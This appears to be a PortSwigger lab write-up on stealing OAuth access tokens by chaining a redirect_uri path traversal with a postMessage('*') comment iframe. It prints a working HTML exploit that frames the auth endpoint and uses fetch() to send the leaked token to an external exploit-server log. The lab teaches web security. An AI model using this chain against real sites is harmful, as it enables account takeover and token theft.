Stealing OAuth access tokens via a proxy page | Jan 7, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Stealing OAuth access tokens via a proxy page! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★★☆☆☆☆☆
Background
This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.
To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.
The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.
You can log in via your own social media account using the following credentials: wiener:peter
.
Exploitation
Home page:
Login as user wiener
:
When we clicked the “My account” link, it’ll redirect us to /social-login
, which using a social media account to login. Hence, it’s using OAuth authentication.
When we redirected to /social-login
, it’ll also redirect us to /auth
, with parameters:
client_id
:jir8lvdj920kd648mrpo1
redirect_uri
:https://0a04002d03ae35a1c0cfc3ae00570017.web-security-academy.net/oauth-callback
response_type
:token
nonce
:1939608024
scope
:openid profile email
The response_type
parameter’s value is token
, which indicates that the grant type is implicit.
Let’s finish the OAuth flow:
As you can see, the apikey
is in the /me
GET request.
Also, since it’s using implicit grant type, the access_token
is in the /oath-callback
URL fragment.
Now, let’s log out, and send the /auth
GET request to Burp Suite Repeater:
In here, we can try to modify the redirect_url
parameter:
Hmm… Can we bypass the whitelisted domain?
Nope.
How about path traversal?
We can!
Let’s find other vulnerability in this website, so we can chain them together.
In the home page, we can view other posts:
And we can leave some comments.
Let’s test for XSS (Cross-Site Scripting):
View source page:
Hmm… It HTML encoded our input.
Also view source page:
<script>
window.addEventListener('message', function(e) {
if (e.data.type === 'oncomment') {
e.data.content['csrf'] = 'ikkgAjb1DebDNVlrPrXffMKxZeYsWtSY';
const body = decodeURIComponent(new URLSearchParams(e.data.content).toString());
fetch("/post/comment",
{
method: "POST",
body: body
}
).then(r => window.location.reload());
}
}, false)
</script>
[...]
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=9'></iframe>
Looks like the comment form is an <iframe>
element.
Burp Suite HTTP history:
When we clicked the “Post Comment”, it’ll send a GET request to /post/comment/comment-form
:
<script>
parent.postMessage({type: 'onload', data: window.location.href}, '*')
function submitForm(form, ev) {
ev.preventDefault();
const formData = new FormData(document.getElementById("comment-form"));
const hashParams = new URLSearchParams(window.location.hash.substr(1));
const o = {};
formData.forEach((v, k) => o[k] = v);
hashParams.forEach((v, k) => o[k] = v);
parent.postMessage({type: 'oncomment', content: o}, '*');
form.reset();
}
</script>
In the above JavaScript code, it’s using the postMessage()
method to send the window.location.href
property to it’s parent window.
According to Mozilla web docs, using *
as the targetOrigin
is dangerous:
In this case, it allows us to post any messages from anywhere.
Armed with above information, we can combine the redirect_url
and the /post/comment/comment-form
GET request dangerous JavaScript method.
Let’s test it!
redirect_url
payload:
redirect_uri=https://0a04002d03ae35a1c0cfc3ae00570017.web-security-academy.net/oauth-callback/../post/comment/comment-form
Then, use the exploit server to host a HTML payload:
<html>
<head>
<title>OAuth-6</title>
</head>
<body>
<iframe src="https://oauth-0a6500a1031335acc036c15102d500ee.web-security-academy.net/auth?client_id=jir8lvdj920kd648mrpo1&redirect_uri=https://0a04002d03ae35a1c0cfc3ae00570017.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=688455368&scope=openid%20profile%20email"></iframe>
<script type="text/javascript">
// Listen for web messages
window.addEventListener('message', function(e) {
// Output to the exploit server access log
fetch('https://exploit-0a0300ec03083556c09bc2f601e90082.exploit-server.net/log?data=' + encodeURIComponent(e.data.data))
}, false)
</script>
</body>
</html>
Exploit server access log:
It worked!
Let’s deliver it to the victim:
Then check access log:
Found it!
Now, we can send a GET request to /me
, with header Authorization: Bearer <access_token>
:
Nice! We got the apikey
, let’s submit it:
What we’ve learned:
- Stealing OAuth access tokens via a proxy page